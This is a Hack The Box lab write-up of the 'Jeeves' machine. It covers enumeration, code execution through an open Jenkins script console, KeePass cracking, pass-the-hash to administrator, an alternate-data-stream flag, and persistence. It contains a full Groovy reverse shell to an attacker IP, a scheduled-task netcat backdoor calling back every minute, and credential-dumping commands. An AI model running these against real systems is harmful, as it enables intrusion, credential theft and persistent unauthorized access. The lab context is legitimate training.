Jeeves Hack The Box Walkthrough/Writeup:
How I use variables & Wordlists:
-
Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
$machine
= the machine name e.g.DC01
- Why am I telling you this? People of all different levels read these writeups/walkthroughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
-
Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
Basic Scans:
TCP:
#Command
nmap $box -Pn -oA TCPbasicScan
#Results
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 06:51 BST
Nmap scan report for 10.129.184.134
Host is up (0.040s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
- Initial thoughts:
- We have web, rpc, SMB & and ibm-db2 instance also.
-
UDP:
#Command sudo nmap $box -sU -Pn -oA UDPbasicScan #Results Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 09:06 BST Nmap scan report for 10.129.184.134 Host is up. All 1000 scanned ports on 10.129.184.134 are in ignored states. Not shown: 1000 open|filtered udp ports (no-response) Nmap done: 1 IP address (1 host up) scanned in 214.46 seconds
- Initial thoughts: No ports open.
Comprehensive Scans:
#Command
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
#Results
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 06:52 BST
Nmap scan report for 10.129.184.134
Host is up (0.022s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Ask Jeeves
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows 10 1607 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 11 (86%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Vista or Windows 7 (86%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-12T10:55:42
|_ start_date: 2025-06-12T10:41:07
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.34 seconds
- Findings:
- First we hit SMB & web then 5000.
- Interesting note, there is the service
jetty 9.4.z-SNAPSHOT
SMB 445
:
Attempting to connect with NULL & Guest sessions:
This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
netexec smb $box -u 'guest' -p '' --shares
netexec smb $box -u '' -p '' --shares
Both are disabled.
- +Note+: We can see the build number is 10586 We can now enumerate that.
Web 80
:
WhatWeb:
Lets run WhatWeb to see if I can glean some further information.
#Command
whatweb http://$box | sed 's/, /\n/g'
#Output
http://10.129.184.134 [200 OK] Country[RESERVED][ZZ]
HTML5
HTTPServer[Microsoft-IIS/10.0]
IP[10.129.184.134]
Microsoft-IIS[10.0]
Title[Ask Jeeves]
- Results: It looks like it’s running a self hosted version of Ask Jeeves.
+Note+: I use
sed
to display the output across multiple lines for easier readability.
Dirbusting The Webserver Running Using FFUF:
We can perform some directory busting to see if there are any interesting directories.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -u http://$box/FUZZ -fs [ignoreSize] -ic
There are none other than index.html
File Enumeration Using FFUF:
We can perform some file busting to see if there are any interesting files with the extension we have found.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -u http://$box/FUZZ.html -ic
There are none other than index.html
& error.html
TODO Subdomain Enumeration with FFUF:
Let’s enumerate any possible subdomains with ffuf.
ffuf -w /home/kali/Wordlists/seclists/Discovery/DNS/combined_subdomains.txt:FUZZ -u http://$box -H "Host:FUZZ.$box" -fs 230 -ic
Enumerating Injection Points With Burpsuite:
- Web Enumeration via Burp Suite:
- When manually enumerating a Website, always use Burp Suite. This allows you to:
- Record all potential injection points.
- Capture relevant responses for each request, making it easier to analyze vulnerabilities and track your testing progress.
Discovering the Host is running MSSQL 2005:
Navigating to the home page we can see it’s running Ask Jeeves as expected.
If we run a search we get the following response, where we can see it’s running MSSQL 2005 - 9.00.4053.00
What’s strange is that this is just a PNG
file and that we are not getting a standard error
Looking at the source code it seems it will only return the error.html
page too.
Looking further at the request on the page we can see that no actual argument is being passed in the GET
request.
Discovering An Open Jenkins instance running:
Let’s dirbust the ibm-db2 service.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -u http://$box:50000/FUZZ -ic
There is one hit for askjeeves
that is a redirect.
Let’s Whatweb
the url and see what we get
http://10.129.184.134:5000/askjeeves
whatweb http://$box:50000/askjeeves | sed 's/, /\n/g'
As we can see it redirects to a jenkins instance, version 2.87
.
Navigating to the address allows us to access the instance without providing credentials
Side Quest: What is Jenkins?
Jenkins is an open-source automation server that’s widely used in the software development lifecycle, particularly for CI/CD (Continuous Integration and Continuous Delivery). It’s used by developers to automatically build, test, and deploy code so they don’t have to. Jenkins uses pipelines, which are typically written in a scripting language called Groovy (kinda like if Bash & Java and were pushed together).
The cool, albeit dangerous thing is these pipelines can execute code, which makes Jenkins incredibly powerful… and potentially a great attack surface when misconfigured for us.
2. Foothold:
Getting RCE via Jenkins:
As a POC let’s see if we can get RCE on the host and have Jenkins ping our attack host.
Jenkins RCE Option 1: Creating a New Jenkins Job:
Creating A New Jenkins Job:
Select “New Item”.
Select “Freestyle Project” & give the project a name & click “OK”
Under the “Build” heading click “Execute Windows Batch Command”
In the “Command” box we will put in a simple ping command to ping our host
ping 10.10.14.16

Now click “Save” at the bottom of the page
Using TCPDUMP To Listen for Ping Traffic:
We will use TCPDUMP on our attack host to listen for ping traffic
sudo tcpdump -n -i tun0 icmp
Executing The Jenkins Job:
We now select “Build Now” in jenkins and this will trigger the build pipeline.
Jenkins RCE Option 2: Using the Scripting Console:
We can also use the jenkins scripting console by navigating to -
As this is a Windows Install we will use the below syntax to execute code
# Anything we put here will be run, below is just an example.
def cmd = "cmd.exe /c ping 10.10.14.16".execute();
println("${cmd.text}");
As you can see after we click “Run” it executes and we get output as the “Result”
Let’s take a quick look and see what users are present on the system.
#When running command with trailing backslashes we need to escape them using double slashes
def cmd = ["cmd.exe", "/c", "dir", "C:\\Users\\"].execute()
println("${cmd.text}");

Jenkins Linux Scripting Console Syntax:
Note if jenkins is running on Linux the syntax is slightly different when running commands in the script console.
# Anything we put here will be run, below is just an example.
def cmd = 'ls -la /root/.ssh'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Using The Jenkins Scripting Console To Get A Reverse Shell:
As we have RCE on the host we can use the jenkins scripting console to get a reverse shell.
String host="10.10.14.16";
int port=53;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
We setup a listener:
rlwrap -cAr nc -nvlp 53
Then hit “run”
+Note+: There is also a metasploit module that can be used for this.
use exploit/multi/http/jenkins_script_console
Checking config.xml
:
In most jenkins instances we can find hashed passwords in the config.xml
file, located in the root of the install.
However in this case there does not appear to be any.
Finding The Initial Jenkins Admin Password:
If we navigate to the secrets folder we can also find the initial jenkins admin password, this is generated on install by jenkins.
Discovering Admin Password Hash in Jenkins config.xml
:
If we navigate to users\admin
we will find a file called config.xml
checking this file we can see it contains a password hash for the jenkins admin user.
bcrypt
encrypted password.
There is also an API token at the top of the page we will take a note of also as this could be useful later on.
Attempting To Crack The encrypted hash:
I did try and crack with hashcat but it did not crack & it should be noted that cracking bcrypt hashes can be a slow process.
hashcat -m 3200 jenkins.hash -w ~/Wordlists/rockyou.txt
Checking Our Users Permissions & groups:
Let’s enumerate what user we are running as and what groups & privileges they have.
whoami && whoami /priv && whoami /groups

We can see we are running as the user kohsuke
& that they have the SeImpersonatePrivilege
. Usually this would be a slam dunk in regards to privesc as we could use the PrintSpoofer
or Potato Exploits
to privesc, however I have tried these and I cannot get them to work as expected.
The user is not part of any interesting groups.
Lets get our flag.
3. Privilege Escalation:
Finding A KeePass Archive Enumerating As kohsuke:
Enumerating as kohsuke we can see they have a keepass database in their documents folder. We may be able to extract crack this and retrieve passwords lets transfer it back to our host.
We are going to encode the file using base64
and then copy the string to our host and decode it back into the file.
To do this we are going to use a nested powershell commands as there are certain things we can only do with powershell (as the tools that would enable us to perform the tasks with CMD are not present. We also use nested commands as this shell doesn’t play nice if we try and switch directly to powershell.
1. Generating A MD5 hash Of The Object:
We will generate an MD5 hash so we can ensure that the transfer did not alter the contents.
powershell -command "Get-FileHash -Path 'C:\Users\kohsuke\Documents\CEH.kdbx' -Algorithm MD5 | Select Hash"

As we see we get the value 519237656FDECAD4B9A5C82F40AADDEB
Generating A Hash With certutil
:
We can also generate an MD5 from CMD by using certutil
. However in this case it is not installed on the host, below is the command that could be used if the binary was present.
#Command
certutil -hashfile <filepath> <hashingAlgorithm>
#Example
certutil -hashfile C:\Users\kohsuke\Documents\CEH.kdbx MD5
+Note+: Without certutil
there is no native way to generate a hash from cmd, this is why are we using powershell.
2. Base64 Encode The KeePass Database For Transfer:
Now lets base64 encode the object so we get a base64 string we can decode.
powershell -command "[Convert]::ToBase64String((Get-Content -Path 'C:\Users\kohsuke\Documents\CEH.kdbx' -Encoding Byte))"

3. Decoding The Base64 Encoded String Back Into the KeePass Database:
Now we have our base64 encoded string, lets decode it to re-create the original object.
echo 17mKUs3QryFwc96ihtoDruiozHAD0LLWW7b7TqkP[SNIPPET]PDubQASwjZ01U7MxXi+Zg3KwSv5e2yOjvcw=" | base64 -d >> CEH.kdbx

4. Comparing The Hashes To Ensure Transfer Was Successful:
First we will generate a hash on our linux host of the decoded object.
md5sum CEH.kdbx

Now we will check the hashes match to ensure these is no corruption.
bash -c 'str1="519237656FDECAD4B9A5C82F40AADDEB"; str2="519237656fdecad4b9a5c82f40aaddeb"; [ "${str1,,}" = "${str2,,}" ] && echo "Same" || echo "Different"'
So we can see they match, but as it’s a KDBX file we will need the key to open it. Let’s see if we can crack it.
Cracking The KeePass Archive With keepass2john
& John:
We can use the tool keepass2john
to create a hash of the archive and then we can attempt to crack that hash.
keepass2john CEH.kdbx >> keepass.hash

Now we have our hash let’s try and crack it.
Usually I prefer hashcat but as we have already used one John tool, why not use John today.
john --wordlist=~/Wordlists/rockyou.txt keepass.hash
And we now have our password moonshine1
lets see if we can open the archive.
Reading the passwords From The KeePass Database:
If you don’t have KeePass installed, it can be installed easily with the below command.
sudo apt update && sudo apt install keepassxc
+Note+: This is the xc variant, which I just prefer to use.
Lets open the database.
Enter the password.
And we are in.
Looking at the entries if we check the entry marked Backup Stuff
we can see it contains a hash.
Trying this against the domain with netexec and a list of users we can see it is the administrator hash.
netexec smb $box -u Users.txt -H "e0fb1fb85756c24235ff238cbe81fe00" --shares --continue-on-success

We can then get a shell using impacket-psexec
:
impacket-psexec $user@$box -hashes :$hash

Now we get our flag….or can we….
This is interesting. Initially I try and find the flag using the where
command but cannot find it.
where /R C:\ root.txt

CTF Shenanigans After Lots Of Searching…..
So after lots of searching the OS and looking at different parts of the OS I couldn’t find the flag so had to look for a hint.
I found that the box creator had used “alternative data streams” to hide the flag. I’ve never seen or heard of this happening in the wild so not bothered by looking at a hint as it seems very CTF like and not realistic.
We can read the flag with the below command.
powershell Get-Content -Path "hm.txt" -Stream "root.txt"

As this was the first time I had come across this, I wanted to learn a bit more about ADS, so decided to make side-quest.
Side Quest: What’s an alternative data stream (ADS)?
Alternate Data Streams are a feature of NTFS, the file-system used by Windows. It allows us to hide data within an existing file without changing the file’s main contents or size in a noticeable way.
It’s kind of like a hidden compartment in a suitcase. The main file contents are the obvious items inside. The Alternate Data Stream is like a hidden compartment inside the suitcase, it doesn’t show up in normal views but it’s still there and can be found if you know how to look for it.
In this case the creator of the box used an ADS on the hm.txt
file.
Discovering ADS Alternative Data Streams:
We can view ADS in directories by using the dir
command with the /R
flag. This lists all files in the directory including any alternate data streams as well.
dir /R

This tells us that hm.txt
has an alternate stream called root.txt
.
Reading the ADS with Powershell:
To read the contents of the root.txt
stream hidden in hm.txt
, we can use:
Get-Content -Path "hm.txt" -Stream "root.txt"
That command tells Powershell, look at the file hm.txt
, but instead of reading the default content, read the alternate stream named root.txt
.
4. Persistence:
Dumping SAM DB with impacket-secretsdump
:
We can use impacket-secretsdump
to dump any entry’s in the SAM file and extract the hashes.
impacket-secretsdump $domain/$user@$box -hashes :$hash

Scheduled Task Back-door:
We can make a scheduled task to reconnect back to our host every 1 minute as a means of persistence.
schtasks /create /tn BackDoor /tr "C:\Users\Administrator\Documents\nc64.exe 10.10.14.28 53 -e cmd" /sc minute /mo 1 /ru Administrator

Command Breakdown:
/sc minute
: Specifies that the task should run every minute./mo 1
: Runs the task every 1 minute./ru Administrator
: Runs the task with System privileges./tr
: Specifies the action to execute, in this case, runningnc64.exe
with the specified options.
+Note+: This techniques runs every 1 minute and calls out to my attack machine. This means that even if I disconnect I can turn on my listener again and it will call back out to me.
Shell Caught.
Just to double check I disconnect to ensure it calls back out to my host another two times.
Lessons Learned:
What did I learn?
- I am already pretty comfortable with jenkins so that was fine.
- I did learn about ADS, but I am yet to find a use other than metadata, as it seems like a security risk?
- This also felt like an easy box and not a medium box.
What silly mistakes did I make?
- Not too many this time so that was nice, must be getting enough sleep.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at bloodstiller dot com